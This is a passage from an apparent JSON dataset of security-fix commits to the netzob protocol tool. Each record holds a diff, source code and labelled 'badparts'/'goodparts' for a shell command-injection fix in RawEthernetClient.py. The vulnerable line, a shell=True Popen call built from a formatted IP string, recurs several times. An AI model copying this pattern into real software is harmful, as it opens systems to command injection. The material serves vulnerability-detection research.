resolution\n p = subprocess.Popen(\"ping -c1 {}\".format(self.remoteIP), shell=True)\n p.wait()\n time.sleep(0.1)\n\n dstMacAddr = arpreq.arpreq(self.remoteIP)\n if dstMacAddr is not None:\n dstMacAddr = dstMacAddr.replace(':', '')\n dstMacAddr = binascii.unhexlify(dstMacAddr)\n else:\n raise Exception(\"Cannot resolve IP address to a MAC address for IP: '{}'\".format(self.remoteIP))\n\n # Retrieve local MAC address\n srcMacAddr = self.get_interface_addr(bytes(self.interface, 'utf-8'))[1]\n\n eth_dst = Field(name='eth.dst', domain=Raw(dstMacAddr))\n eth_src = Field(name='eth.src', domain=Raw(srcMacAddr))\n eth_type = Field(name='eth.type', domain=Raw(b\"\\x08\\x00\"))\n\n\n # IP header\n\n ip_ver = Field(\n name='ip.version', domain=BitArray(\n value=bitarray('0100'))) # IP Version 4\n ip_ihl = Field(name='ip.hdr_len', domain=BitArray(bitarray('0000')))\n ip_tos = Field(\n name='ip.tos',\n domain=Data(\n dataType=BitArray(nbBits=8),\n originalValue=bitarray('00000000'),\n svas=SVAS.PERSISTENT))\n ip_tot_len = Field(\n name='ip.len', domain=BitArray(bitarray('0000000000000000')))\n ip_id = Field(name='ip.id', domain=BitArray(nbBits=16))\n ip_flags = Field(name='ip.flags', domain=Data(dataType=BitArray(nbBits=3), originalValue=bitarray('000'), svas=SVAS.PERSISTENT))\n ip_frag_off = Field(name='ip.fragment', domain=Data(dataType=BitArray(nbBits=13), originalValue=bitarray('0000000000000'), svas=SVAS.PERSISTENT))\n ip_ttl = Field(name='ip.ttl', domain=Data(dataType=BitArray(nbBits=8), originalValue=bitarray('01000000'), svas=SVAS.PERSISTENT))\n ip_proto = Field(name='ip.proto', domain=Integer(value=self.upperProtocol, unitSize=AbstractType.UNITSIZE_8, endianness=AbstractType.ENDIAN_BIG, sign=AbstractType.SIGN_UNSIGNED))\n ip_checksum = Field(name='ip.checksum', domain=BitArray(bitarray('0000000000000000')))\n ip_saddr = Field(name='ip.src', domain=IPv4(self.localIP))\n ip_daddr = Field(\n name='ip.dst', domain=IPv4(self.remoteIP))\n ip_payload = Field(name='ip.payload', domain=Raw())\n\n ip_ihl.domain = Size([ip_ver,\n ip_ihl,\n ip_tos,\n ip_tot_len,\n ip_id, ip_flags,\n ip_frag_off,\n ip_ttl, ip_proto,\n ip_checksum,\n ip_saddr,\n ip_daddr], dataType=BitArray(nbBits=4), factor=1/float(32))\n ip_tot_len.domain = Size([ip_ver,\n ip_ihl,\n ip_tos,\n ip_tot_len,\n ip_id,\n ip_flags,\n ip_frag_off,\n ip_ttl,\n ip_proto,\n ip_checksum,\n ip_saddr,\n ip_daddr,\n ip_payload], dataType=Integer(unitSize=AbstractType.UNITSIZE_16, sign=AbstractType.SIGN_UNSIGNED), factor=1/float(8))\n ip_checksum.domain = InternetChecksum(fields=[ip_ver,\n ip_ihl,\n ip_tos,\n ip_tot_len,\n ip_id,\n ip_flags,\n ip_frag_off,\n ip_ttl,\n ip_proto,\n ip_checksum,\n ip_saddr,\n ip_daddr], dataType=Raw(nbBytes=2, unitSize=AbstractType.UNITSIZE_16))\n \n self.header = Symbol(name='Ethernet layer', fields=[eth_dst,\n eth_src,\n eth_type,\n ip_ver,\n ip_ihl,\n ip_tos,\n ip_tot_len,\n ip_id,\n ip_flags,\n ip_frag_off,\n ip_ttl,\n ip_proto,\n ip_checksum,\n ip_saddr,\n ip_daddr,\n ip_payload])\n\n # Management methods\n\n # Properties\n\n @property\n def remoteIP(self):\n \"\"\"IP on which the server will listen.\n\n :type: :class:`str`\n \"\"\"\n return self.__remoteIP\n\n @remoteIP.setter\n @typeCheck(str)\n def remoteIP(self, remoteIP):\n if remoteIP is None:\n raise TypeError(\"Listening IP cannot be None\")\n\n self.__remoteIP = remoteIP\n\n @property\n def localIP(self):\n \"\"\"IP on which the server will listen.\n\n :type: :class:`str`\n \"\"\"\n return self.__localIP\n\n @localIP.setter\n @typeCheck(str)\n def localIP(self, localIP):\n self.__localIP = localIP\n\n @property\n def upperProtocol(self):\n \"\"\"Upper protocol, such as TCP, UDP, ICMP, etc.\n\n :type: :class:`str`\n \"\"\"\n return self.__upperProtocol\n\n @upperProtocol.setter\n @typeCheck(int)\n def upperProtocol(self, upperProtocol):\n if upperProtocol is None:\n raise TypeError(\"Upper protocol cannot be None\")\n\n self.__upperProtocol = upperProtocol\n\n @property\n def interface(self):\n \"\"\"Interface such as eth0, lo.\n\n :type: :class:`str`\n \"\"\"\n return self.__interface\n\n @interface.setter\n @typeCheck(str)\n def interface(self, interface):\n if interface is None:\n raise TypeError(\"Interface cannot be None\")\n\n self.__interface = interface\n\n @property\n def timeout(self):\n return self.__timeout\n\n @timeout.setter\n @typeCheck(int)\n def timeout(self, timeout):\n self.__timeout = timeout\n"}}, "msg": "Remove security issue related to shell command injection\nSee PR AMOSSYS/nozzle-Netzob#1\n\n-- Carried out under contract n\u00b01100036530 for ANSSI --"}}, "https://github.com/netzob/netzob": {"557abf64867d715497979b029efedbd2777b912e": {"url": "https://api.github.com/repos/netzob/netzob/commits/557abf64867d715497979b029efedbd2777b912e", "html_url": "https://github.com/netzob/netzob/commit/557abf64867d715497979b029efedbd2777b912e", "sha": "557abf64867d715497979b029efedbd2777b912e", "keyword": "command injection issue", "diff": "diff --git a/src/netzob/Simulator/Channels/RawEthernetClient.py b/src/netzob/Simulator/Channels/RawEthernetClient.py\nindex 3578c4e4a..efee6ab1d 100644\n--- a/src/netzob/Simulator/Channels/RawEthernetClient.py\n+++ b/src/netzob/Simulator/Channels/RawEthernetClient.py\n@@ -213,7 +213,7 @@ def initHeader(self):\n dstMacAddr = binascii.unhexlify(dstMacAddr)\n else:\n # Force ARP resolution\n- p = subprocess.Popen(\"ping -c1 {}\".format(self.remoteIP), shell=True)\n+ p = subprocess.Popen([\"/bin/ping\", \"-c1\", self.remoteIP])\n p.wait()\n time.sleep(0.1)\n \n", "message": "", "files": {"/src/netzob/Simulator/Channels/RawEthernetClient.py": {"changes": [{"diff": "\n dstMacAddr = binascii.unhexlify(dstMacAddr)\n else:\n # Force ARP resolution\n- p = subprocess.Popen(\"ping -c1 {}\".format(self.remoteIP), shell=True)\n+ p = subprocess.Popen([\"/bin/ping\", \"-c1\", self.remoteIP])\n p.wait()\n time.sleep(0.1)\n \n", "add": 1, "remove": 1, "filename": "/src/netzob/Simulator/Channels/RawEthernetClient.py", "badparts": [" p = subprocess.Popen(\"ping -c1 {}\".format(self.remoteIP), shell=True)"], "goodparts": [" p = subprocess.Popen([\"/bin/ping\", \"-c1\", self.remoteIP])"]}], "source": "\n import socket from bitarray import bitarray import struct from fcntl import ioctl import arpreq import subprocess import time import binascii from netzob.Common.Utils.Decorators import typeCheck, NetzobLogger from netzob.Simulator.Channels.AbstractChannel import AbstractChannel from netzob.Model.Vocabulary.Field import Field from netzob.Model.Vocabulary.Symbol import Symbol from netzob.Model.Types.IPv4 import IPv4 from netzob.Model.Types.Raw import Raw from netzob.Model.Types.BitArray import BitArray from netzob.Model.Types.Integer import Integer from netzob.Model.Types.AbstractType import AbstractType from netzob.Model.Vocabulary.Domain.Variables.Leafs.Size import Size from netzob.Model.Vocabulary.Domain.Variables.Leafs.Data import Data from netzob.Model.Vocabulary.Domain.Variables.Leafs.InternetChecksum import InternetChecksum from netzob.Model.Vocabulary.Domain.Variables.SVAS import SVAS @NetzobLogger class RawEthernetClient(AbstractChannel): \"\"\"A RawEthernetClient is a communication channel allowing to send IP payloads. This channel is responsible for building the IP layer. Interesting link: http://www.offensivepython.com/2014/09/packet-injection-capturing-response.html >>> from netzob.all import * >>> client=RawEthernetClient(remoteIP='127.0.0.1') >>> client.open() >>> symbol=Symbol([Field(\"Hello Zoby !\")]) >>> client.write(symbol.specialize()) >>> client.close() \"\"\" ETH_P_ALL=3 @typeCheck(str, int) def __init__(self, remoteIP, localIP=None, upperProtocol=socket.IPPROTO_TCP, interface=\"eth0\", timeout=5): super(RawEthernetClient, self).__init__(isServer=False) self.remoteIP=remoteIP self.localIP=localIP self.upperProtocol=upperProtocol self.interface=interface self.timeout=timeout self.__socket=None self.header=None self.header_presets={} self.type=AbstractChannel.TYPE_RAWETHERNETCLIENT self.initHeader() def open(self, timeout=None): \"\"\"Open the communication channel. If the channel is a client, it starts to connect to the specified server. \"\"\" if self.isOpen: raise RuntimeError( \"The channel is already open, cannot open it again\") self.__socket=socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(RawEthernetClient.ETH_P_ALL)) self.__socket.bind((self.interface, RawEthernetClient.ETH_P_ALL)) self.isOpen=True def close(self): \"\"\"Close the communication channel.\"\"\" if self.__socket is not None: self.__socket.close() self.isOpen=False def read(self, timeout=None): \"\"\"Read the next message on the communication channel. @keyword timeout: the maximum time in millisecond to wait before a message can be reached @type timeout::class:`int` \"\"\" if self.__socket is not None: (data, _)=self.__socket.recvfrom(65535) ethHeaderLen=14 if len(data) > ethHeaderLen: data=data[ethHeaderLen:] ipHeaderLen=(data[0] & 15) * 4 if len(data) > ipHeaderLen: data=data[ipHeaderLen:] return data else: raise Exception(\"socket is not available\") def writePacket(self, data): \"\"\"Write on the communication channel the specified data :parameter data: the data to write on the channel :type data: binary object \"\"\" if self.header is None: raise Exception(\"IP header structure is None\") if self.__socket is None: raise Exception(\"socket is not available\") self.header_presets['ip.payload']=data packet=self.header.specialize(presets=self.header_presets) len_data=self.__socket.sendto(packet,(self.interface, RawEthernetClient.ETH_P_ALL)) return len_data @typeCheck(bytes) def sendReceive(self, data, timeout=None): \"\"\"Write on the communication channel the specified data and returns the corresponding response :parameter data: the data to write on the channel :type data: binary object @type timeout::class:`int` \"\"\" if self.__socket is not None: portSrcTx=(data[0] * 256) +data[1] portDstTx=(data[2] * 256) +data[3] responseOk=False stopWaitingResponse=False self.write(data) while stopWaitingResponse is False: dataReceived=self.read(timeout) portSrcRx=(dataReceived[0] * 256) +dataReceived[1] portDstRx=(dataReceived[2] * 256) +dataReceived[3] stopWaitingResponse=(portSrcTx==portDstRx) and(portDstTx==portSrcRx) if stopWaitingResponse: responseOk=True if responseOk: return dataReceived else: raise Exception(\"socket is not available\") def get_interface_addr(self, ifname): SIOCGIFHWADDR=0x8927 s=socket.socket() response=ioctl(s, SIOCGIFHWADDR, struct.pack(\"16s16x\",ifname)) s.close() return struct.unpack(\"16xh6s8x\", response) def initHeader(self): \"\"\"Initialize the IP header according to the IP format definition. \"\"\" dstMacAddr=arpreq.arpreq(self.remoteIP) if dstMacAddr is not None: dstMacAddr=dstMacAddr.replace(':', '') dstMacAddr=binascii.unhexlify(dstMacAddr) else: p=subprocess.Popen(\"ping -c1{}\".format(self.remoteIP), shell=True) p.wait() time.sleep(0.1) dstMacAddr=arpreq.arpreq(self.remoteIP) if dstMacAddr is not None: dstMacAddr=dstMacAddr.replace(':', '') dstMacAddr=binascii.unhexlify(dstMacAddr) else: raise Exception(\"Cannot resolve IP address to a MAC address for IP: '{}'\".format(self.remoteIP)) srcMacAddr=self.get_interface_addr(bytes(self.interface, 'utf-8'))[1] eth_dst=Field(name='eth.dst', domain=Raw(dstMacAddr)) eth_src=Field(name='eth.src', domain=Raw(srcMacAddr)) eth_type=Field(name='eth.type', domain=Raw(b\"\\x08\\x00\")) ip_ver=Field( name='ip.version', domain=BitArray( value=bitarray('0100'))) ip_ihl=Field(name='ip.hdr_len', domain=BitArray(bitarray('0000'))) ip_tos=Field( name='ip.tos', domain=Data( dataType=BitArray(nbBits=8), originalValue=bitarray('00000000'), svas=SVAS.PERSISTENT)) ip_tot_len=Field( name='ip.len', domain=BitArray(bitarray('0000000000000000'))) ip_id=Field(name='ip.id', domain=BitArray(nbBits=16)) ip_flags=Field(name='ip.flags', domain=Data(dataType=BitArray(nbBits=3), originalValue=bitarray('000'), svas=SVAS.PERSISTENT)) ip_frag_off=Field(name='ip.fragment', domain=Data(dataType=BitArray(nbBits=13), originalValue=bitarray('0000000000000'), svas=SVAS.PERSISTENT)) ip_ttl=Field(name='ip.ttl', domain=Data(dataType=BitArray(nbBits=8), originalValue=bitarray('01000000'), svas=SVAS.PERSISTENT)) ip_proto=Field(name='ip.proto', domain=Integer(value=self.upperProtocol, unitSize=AbstractType.UNITSIZE_8, endianness=AbstractType.ENDIAN_BIG, sign=AbstractType.SIGN_UNSIGNED)) ip_checksum=Field(name='ip.checksum', domain=BitArray(bitarray('0000000000000000'))) ip_saddr=Field(name='ip.src', domain=IPv4(self.localIP)) ip_daddr=Field( name='ip.dst', domain=IPv4(self.remoteIP)) ip_payload=Field(name='ip.payload', domain=Raw()) ip_ihl.domain=Size([ip_ver, ip_ihl, ip_tos, ip_tot_len, ip_id, ip_flags, ip_frag_off, ip_ttl, ip_proto, ip_checksum, ip_saddr, ip_daddr], dataType=BitArray(nbBits=4), factor=1/float(32)) ip_tot_len.domain=Size([ip_ver, ip_ihl, ip_tos, ip_tot_len, ip_id, ip_flags, ip_frag_off, ip_ttl, ip_proto, ip_checksum, ip_saddr, ip_daddr, ip_payload], dataType=Integer(unitSize=AbstractType.UNITSIZE_16, sign=AbstractType.SIGN_UNSIGNED), factor=1/float(8)) ip_checksum.domain=InternetChecksum(fields=[ip_ver, ip_ihl, ip_tos, ip_tot_len, ip_id, ip_flags, ip_frag_off, ip_ttl, ip_proto, ip_checksum, ip_saddr, ip_daddr], dataType=Raw(nbBytes=2, unitSize=AbstractType.UNITSIZE_16)) self.header=Symbol(name='Ethernet layer', fields=[eth_dst, eth_src, eth_type, ip_ver, ip_ihl, ip_tos, ip_tot_len, ip_id, ip_flags, ip_frag_off, ip_ttl, ip_proto, ip_checksum, ip_saddr, ip_daddr, ip_payload]) @property def remoteIP(self): \"\"\"IP on which the server will listen. :type::class:`str` \"\"\" return self.__remoteIP @remoteIP.setter @typeCheck(str) def remoteIP(self, remoteIP): if remoteIP is None: raise TypeError(\"Listening IP cannot be None\") self.__remoteIP=remoteIP @property def localIP(self): \"\"\"IP on which the server will listen. :type::class:`str` \"\"\" return self.__localIP @localIP.setter @typeCheck(str) def localIP(self, localIP): self.__localIP=localIP @property def upperProtocol(self): \"\"\"Upper protocol, such as TCP, UDP, ICMP, etc. :type::class:`str` \"\"\" return self.__upperProtocol @upperProtocol.setter @typeCheck(int) def upperProtocol(self, upperProtocol): if upperProtocol is None: raise TypeError(\"Upper protocol cannot be None\") self.__upperProtocol=upperProtocol @property def interface(self): \"\"\"Interface such as eth0, lo. :type::class:`str` \"\"\" return self.__interface @interface.setter @typeCheck(str) def interface(self, interface): if interface is None: raise TypeError(\"Interface cannot be None\") self.__interface=interface @property def timeout(self): return self.__timeout @timeout.setter @typeCheck(int) def timeout(self, timeout): self.__timeout=timeout ", "sourceWithComments": "#-*- coding: utf-8 -*-\n\n#+---------------------------------------------------------------------------+\n#| 01001110 01100101 01110100 01111010 01101111 01100010 |\n#| |\n#| Netzob : Inferring communication protocols |\n#+---------------------------------------------------------------------------+\n#| Copyright (C) 2011-2017 Georges Bossert and Fr\u00e9d\u00e9ric Guih\u00e9ry |\n#| This program is free software: you can redistribute it and/or modify |\n#| it under the terms of the GNU General Public License as published by |\n#| the Free Software Foundation, either version 3 of the License, or |\n#| (at your option) any later version. |\n#| |\n#| This program is distributed in the hope that it will be useful, |\n#| but WITHOUT ANY WARRANTY; without even the implied warranty of |\n#| MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the |\n#| GNU General Public License for more details. |\n#| |\n#| You should have received a copy of the GNU General Public License |\n#| along with this program. If not, see . |\n#+---------------------------------------------------------------------------+\n#| @url : http://www.netzob.org |\n#| @contact : contact@netzob.org |\n#| @sponsors : Amossys, http://www.amossys.fr |\n#| Sup\u00e9lec, http://www.rennes.supelec.fr/ren/rd/cidre/ |\n#+---------------------------------------------------------------------------+\n\n#+---------------------------------------------------------------------------+\n#| File contributors : |\n#| - Fr\u00e9d\u00e9ric Guih\u00e9ry |\n#+---------------------------------------------------------------------------+\n\n#+---------------------------------------------------------------------------+\n#| Standard library imports |\n#+---------------------------------------------------------------------------+\nimport socket\nfrom bitarray import bitarray\nimport struct\nfrom fcntl import ioctl\nimport arpreq\nimport subprocess\nimport time\nimport binascii\n\n#+---------------------------------------------------------------------------+\n#| Related third party imports |\n#+---------------------------------------------------------------------------+\n\n#+---------------------------------------------------------------------------+\n#| Local application imports |\n#+---------------------------------------------------------------------------+\nfrom netzob.Common.Utils.Decorators import typeCheck, NetzobLogger\nfrom netzob.Simulator.Channels.AbstractChannel import AbstractChannel\nfrom netzob.Model.Vocabulary.Field import Field\nfrom netzob.Model.Vocabulary.Symbol import Symbol\nfrom netzob.Model.Types.IPv4 import IPv4\nfrom netzob.Model.Types.Raw import Raw\nfrom netzob.Model.Types.BitArray import BitArray\nfrom netzob.Model.Types.Integer import Integer\nfrom netzob.Model.Types.AbstractType import AbstractType\nfrom netzob.Model.Vocabulary.Domain.Variables.Leafs.Size import Size\nfrom netzob.Model.Vocabulary.Domain.Variables.Leafs.Data import Data\nfrom netzob.Model.Vocabulary.Domain.Variables.Leafs.InternetChecksum import InternetChecksum\nfrom netzob.Model.Vocabulary.Domain.Variables.SVAS import SVAS\n\n\n@NetzobLogger\nclass RawEthernetClient(AbstractChannel):\n \"\"\"A RawEthernetClient is a communication channel allowing to send IP\n payloads. This channel is responsible for building the IP layer.\n\n Interesting link: http://www.offensivepython.com/2014/09/packet-injection-capturing-response.html\n\n >>> from netzob.all import *\n >>> client = RawEthernetClient(remoteIP='127.0.0.1')\n >>> client.open()\n >>> symbol = Symbol([Field(\"Hello Zoby !\")])\n >>> client.write(symbol.specialize())\n >>> client.close()\n\n \"\"\"\n\n ETH_P_ALL = 3\n\n @typeCheck(str, int)\n def __init__(self,\n remoteIP,\n localIP=None,\n upperProtocol=socket.IPPROTO_TCP,\n interface=\"eth0\",\n timeout=5):\n super(RawEthernetClient, self).__init__(isServer=False)\n self.remoteIP = remoteIP\n self.localIP = localIP\n self.upperProtocol = upperProtocol\n self.interface = interface\n self.timeout = timeout\n self.__socket = None\n self.header = None # The IP header symbol format\n self.header_presets = {} # Dict used to parameterize IP header fields\n self.type = AbstractChannel.TYPE_RAWETHERNETCLIENT\n\n # Header initialization\n self.initHeader()\n\n def open(self, timeout=None):\n \"\"\"Open the communication channel. If the channel is a client, it starts to connect\n to the specified server.\n \"\"\"\n\n if self.isOpen:\n raise RuntimeError(\n \"The channel is already open, cannot open it again\")\n\n self.__socket = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(RawEthernetClient.ETH_P_ALL))\n self.__socket.bind((self.interface, RawEthernetClient.ETH_P_ALL))\n self.isOpen = True\n\n def close(self):\n \"\"\"Close the communication channel.\"\"\"\n if self.__socket is not None:\n self.__socket.close()\n self.isOpen = False\n\n def read(self, timeout=None):\n \"\"\"Read the next message on the communication channel.\n\n @keyword timeout: the maximum time in millisecond to wait before a message can be reached\n @type timeout: :class:`int`\n \"\"\"\n # TODO: handle timeout\n if self.__socket is not None:\n (data, _) = self.__socket.recvfrom(65535)\n\n # Remove Ethernet header from received data\n ethHeaderLen = 14 # (Bitwise AND 00001111) x 4bytes --> see RFC-791\n if len(data) > ethHeaderLen:\n data = data[ethHeaderLen:]\n\n # Remove IP header from received data\n ipHeaderLen = (data[0] & 15) * 4 # (Bitwise AND 00001111) x 4bytes --> see RFC-791\n if len(data) > ipHeaderLen:\n data = data[ipHeaderLen:]\n return data\n else:\n raise Exception(\"socket is not available\")\n\n def writePacket(self, data):\n \"\"\"Write on the communication channel the specified data\n\n :parameter data: the data to write on the channel\n :type data: binary object\n \"\"\"\n\n if self.header is None:\n raise Exception(\"IP header structure is None\")\n\n if self.__socket is None:\n raise Exception(\"socket is not available\")\n\n self.header_presets['ip.payload'] = data\n packet = self.header.specialize(presets=self.header_presets)\n len_data = self.__socket.sendto(packet, (self.interface, RawEthernetClient.ETH_P_ALL))\n return len_data\n\n @typeCheck(bytes)\n def sendReceive(self, data, timeout=None):\n \"\"\"Write on the communication channel the specified data and returns the corresponding response\n\n :parameter data: the data to write on the channel\n :type data: binary object\n @type timeout: :class:`int`\n \"\"\"\n if self.__socket is not None:\n # get the ports from message to identify the good response (in TCP or UDP)\n portSrcTx = (data[0] * 256) + data[1]\n portDstTx = (data[2] * 256) + data[3]\n\n responseOk = False\n stopWaitingResponse = False\n self.write(data)\n while stopWaitingResponse is False:\n # TODO: handle timeout\n dataReceived = self.read(timeout)\n portSrcRx = (dataReceived[0] * 256) + dataReceived[1]\n portDstRx = (dataReceived[2] * 256) + dataReceived[3]\n stopWaitingResponse = (portSrcTx == portDstRx) and (portDstTx == portSrcRx)\n if stopWaitingResponse: # and not timeout\n responseOk = True\n if responseOk:\n return dataReceived\n else:\n raise Exception(\"socket is not available\")\n\n def get_interface_addr(self, ifname):\n SIOCGIFHWADDR = 0x8927\n s = socket.socket()\n response = ioctl(s, SIOCGIFHWADDR, struct.pack(\"16s16x\",ifname))\n s.close()\n return struct.unpack(\"16xh6s8x\", response)\n\n def initHeader(self):\n \"\"\"Initialize the IP header according to the IP format definition.\n\n \"\"\"\n\n # Ethernet header\n\n # Retrieve remote MAC address\n dstMacAddr = arpreq.arpreq(self.remoteIP)\n if dstMacAddr is not None:\n dstMacAddr = dstMacAddr.replace(':', '')\n dstMacAddr = binascii.unhexlify(dstMacAddr)\n else:\n # Force ARP resolution\n p = subprocess.Popen(\"ping -c1 {}\".format(self.remoteIP), shell=True)\n p.wait()\n time.sleep(0.1)\n\n dstMacAddr = arpreq.arpreq(self.remoteIP)\n if dstMacAddr is not None:\n dstMacAddr = dstMacAddr.replace(':', '')\n dstMacAddr = binascii.unhexlify(dstMacAddr)\n else:\n raise Exception(\"Cannot resolve IP address to a MAC address for IP: '{}'\".format(self.remoteIP))\n\n # Retrieve local MAC address\n srcMacAddr = self.get_interface_addr(bytes(self.interface, 'utf-8'))[1]\n\n eth_dst = Field(name='eth.dst', domain=Raw(dstMacAddr))\n eth_src = Field(name='eth.src', domain=Raw(srcMacAddr))\n eth_type = Field(name='eth.type', domain=Raw(b\"\\x08\\x00\"))\n\n\n # IP header\n\n ip_ver = Field(\n name='ip.version', domain=BitArray(\n value=bitarray('0100'))) # IP Version 4\n ip_ihl = Field(name='ip.hdr_len', domain=BitArray(bitarray('0000')))\n ip_tos = Field(\n name='ip.tos',\n domain=Data(\n dataType=BitArray(nbBits=8),\n originalValue=bitarray('00000000'),\n svas=SVAS.PERSISTENT))\n ip_tot_len = Field(\n name='ip.len', domain=BitArray(bitarray('0000000000000000')))\n ip_id = Field(name='ip.id', domain=BitArray(nbBits=16))\n ip_flags = Field(name='ip.flags', domain=Data(dataType=BitArray(nbBits=3), originalValue=bitarray('000'), svas=SVAS.PERSISTENT))\n ip_frag_off = Field(name='ip.fragment', domain=Data(dataType=BitArray(nbBits=13), originalValue=bitarray('0000000000000'), svas=SVAS.PERSISTENT))\n ip_ttl = Field(name='ip.ttl', domain=Data(dataType=BitArray(nbBits=8), originalValue=bitarray('01000000'), svas=SVAS.PERSISTENT))\n ip_proto = Field(name='ip.proto', domain=Integer(value=self.upperProtocol, unitSize=AbstractType.UNITSIZE_8, endianness=AbstractType.ENDIAN_BIG, sign=AbstractType.SIGN_UNSIGNED))\n ip_checksum = Field(name='ip.checksum', domain=BitArray(bitarray('0000000000000000')))\n ip_saddr = Field(name='ip.src', domain=IPv4(self.localIP))\n ip_daddr = Field(\n name='ip.dst', domain=IPv4(self.remoteIP))\n ip_payload = Field(name='ip.payload', domain=Raw())\n\n ip_ihl.domain = Size([ip_ver,\n ip_ihl,\n ip_tos,\n ip_tot_len,\n ip_id, ip_flags,\n ip_frag_off,\n ip_ttl, ip_proto,\n ip_checksum,\n ip_saddr,\n ip_daddr], dataType=BitArray(nbBits=4), factor=1/float(32))\n ip_tot_len.domain = Size([ip_ver,\n ip_ihl,\n ip_tos,\n ip_tot_len,\n ip_id,\n ip_flags,\n ip_frag_off,\n ip_ttl,\n ip_proto,\n ip_checksum,\n ip_saddr,\n ip_daddr,\n ip_payload], dataType=Integer(unitSize=AbstractType.UNITSIZE_16, sign=AbstractType.SIGN_UNSIGNED), factor=1/float(8))\n ip_checksum.domain = InternetChecksum(fields=[ip_ver,\n ip_ihl,\n ip_tos,\n ip_tot_len,\n ip_id,\n ip_flags,\n ip_frag_off,\n ip_ttl,\n ip_proto,\n ip_checksum,\n ip_saddr,\n ip_daddr], dataType=Raw(nbBytes=2, unitSize=AbstractType.UNITSIZE_16))\n \n self.header = Symbol(name='Ethernet layer', fields=[eth_dst,\n eth_src,\n eth_type,\n ip_ver,\n ip_ihl,\n ip_tos,\n ip_tot_len,\n ip_id,\n ip_flags,\n ip_frag_off,\n ip_ttl,\n ip_proto,\n ip_checksum,\n ip_saddr,\n ip_daddr,\n ip_payload])\n\n # Management methods\n\n # Properties\n\n @property\n def remoteIP(self):\n \"\"\"IP on which the server will listen.\n\n :type: :class:`str`\n \"\"\"\n return self.__remoteIP\n\n @remoteIP.setter\n @typeCheck(str)\n def remoteIP(self, remoteIP):\n if remoteIP is None:\n raise TypeError(\"Listening IP cannot be None\")\n\n self.__remoteIP = remoteIP\n\n @property\n def localIP(self):\n \"\"\"IP on which the server will listen.\n\n :type: :class:`str`\n \"\"\"\n return self.__localIP\n\n @localIP.setter\n @typeCheck(str)\n def localIP(self, localIP):\n self.__localIP = localIP\n\n @property\n def upperProtocol(self):\n \"\"\"Upper protocol, such as TCP, UDP, ICMP, etc.\n\n :type: :class:`str`\n \"\"\"\n return self.__upperProtocol\n\n @upperProtocol.setter\n @typeCheck(int)\n def upperProtocol(self, upperProtocol):\n if upperProtocol is None:\n raise TypeError(\"Upper protocol cannot be None\")\n\n self.__upperProtocol = upperProtocol\n\n @property\n def interface(self):\n \"\"\"Interface such as eth0, lo.\n\n :type: :class:`str`\n \"\"\"\n return self.__interface\n\n @interface.setter\n @typeCheck(str)\n def interface(self, interface):\n if interface is None:\n raise TypeError(\"Interface cannot be None\")\n\n self.__interface = interface\n\n @property\n def timeout(self):\n return self.__timeout\n\n @timeout.setter\n @typeCheck(int)\n def timeout(self, timeout):\n self.__timeout = timeout\n"}}, "msg": "Remove security issue related to shell command injection\nSee PR AMOSSYS/nozzle-Netzob#1\n\n-- Carried out under contract n\u00b01100036530 for ANSSI --"}, "671c82d8d5eadb4fd58ab16ed8e53d6fab3b276c": {"url": "https://api.github.com/repos/netzob/netzob/commits/671c82d8d5eadb4fd58ab16ed8e53d6fab3b276c", "html_url": "https://github.com/netzob/netzob/commit/671c82d8d5eadb4fd58ab16ed8e53d6fab3b276c", "message": "Remove security issue related to shell command injection\nSee PR AMOSSYS/nozzle-Netzob#1\n\n-- Carried out under contract n\u00b01100036530 for ANSSI --", "sha": "671c82d8d5eadb4fd58ab16ed8e53d6fab3b276c", "keyword": "command injection issue", "diff": "diff --git a/src/netzob/Simulator/Channels/RawEthernetClient.py b/src/netzob/Simulator/Channels/RawEthernetClient.py\nindex 3578c4e4a..efee6ab1d 100644\n--- a/src/netzob/Simulator/Channels/RawEthernetClient.py\n+++ b/src/netzob/Simulator/Channels/RawEthernetClient.py\n@@ -213,7 +213,7 @@ def initHeader(self):\n dstMacAddr = binascii.unhexlify(dstMacAddr)\n else:\n # Force ARP resolution\n- p = subprocess.Popen(\"ping -c1 {}\".format(self.remoteIP), shell=True)\n+ p = subprocess.Popen([\"/bin/ping\", \"-c1\", self.remoteIP])\n p.wait()\n time.sleep(0.1)\n \n", "files": {"/src/netzob/Simulator/Channels/RawEthernetClient.py": {"changes": [{"diff": "\n dstMacAddr = binascii.unhexlify(dstMacAddr)\n else:\n # Force ARP resolution\n- p = subprocess.Popen(\"ping -c1 {}\".format(self.remoteIP), shell=True)\n+ p = subprocess.Popen([\"/bin/ping\", \"-c1\", self.remoteIP])\n p.wait()\n time.sleep(0.1)\n \n", "add": 1, "remove": 1, "filename": "/src/netzob/Simulator/Channels/RawEthernetClient.py", "badparts": [" p = subprocess.Popen(\"ping -c1 {}\".format(self.remoteIP), shell=True)"], "goodparts": [" p = subprocess.Popen([\"/bin/ping\", \"-c1\", self.remoteIP])"]}], "source": "\n import socket from bitarray import bitarray import struct from fcntl import ioctl import arpreq import subprocess import time import binascii from netzob.Common.Utils.Decorators import typeCheck, NetzobLogger from netzob.Simulator.Channels.AbstractChannel import AbstractChannel from netzob.Model.Vocabulary.Field import Field from netzob.Model.Vocabulary.Symbol import Symbol from netzob.Model.Types.IPv4 import IPv4 from netzob.Model.Types.Raw import Raw from netzob.Model.Types.BitArray import BitArray from netzob.Model.Types.Integer import Integer from netzob.Model.Types.AbstractType import AbstractType from netzob.Model.Vocabulary.Domain.Variables.Leafs.Size import Size from netzob.Model.Vocabulary.Domain.Variables.Leafs.Data import Data from netzob.Model.Vocabulary.Domain.Variables.Leafs.InternetChecksum import InternetChecksum from netzob.Model.Vocabulary.Domain.Variables.SVAS import SVAS @NetzobLogger class RawEthernetClient(AbstractChannel): \"\"\"A RawEthernetClient is a communication channel allowing to send IP payloads. This channel is responsible for building the IP layer. Interesting link: http://www.offensivepython.com/2014/09/packet-injection-capturing-response.html >>> from netzob.all import * >>> client=RawEthernetClient(remoteIP='127.0.0.1') >>> client.open() >>> symbol=Symbol([Field(\"Hello Zoby !\")]) >>> client.write(symbol.specialize()) >>> client.close() \"\"\" ETH_P_ALL=3 @typeCheck(str, int) def __init__(self, remoteIP, localIP=None, upperProtocol=socket.IPPROTO_TCP, interface=\"eth0\", timeout=5): super(RawEthernetClient, self).__init__(isServer=False) self.remoteIP=remoteIP self.localIP=localIP self.upperProtocol=upperProtocol self.interface=interface self.timeout=timeout self.__socket=None self.header=None self.header_presets={} self.type=AbstractChannel.TYPE_RAWETHERNETCLIENT self.initHeader() 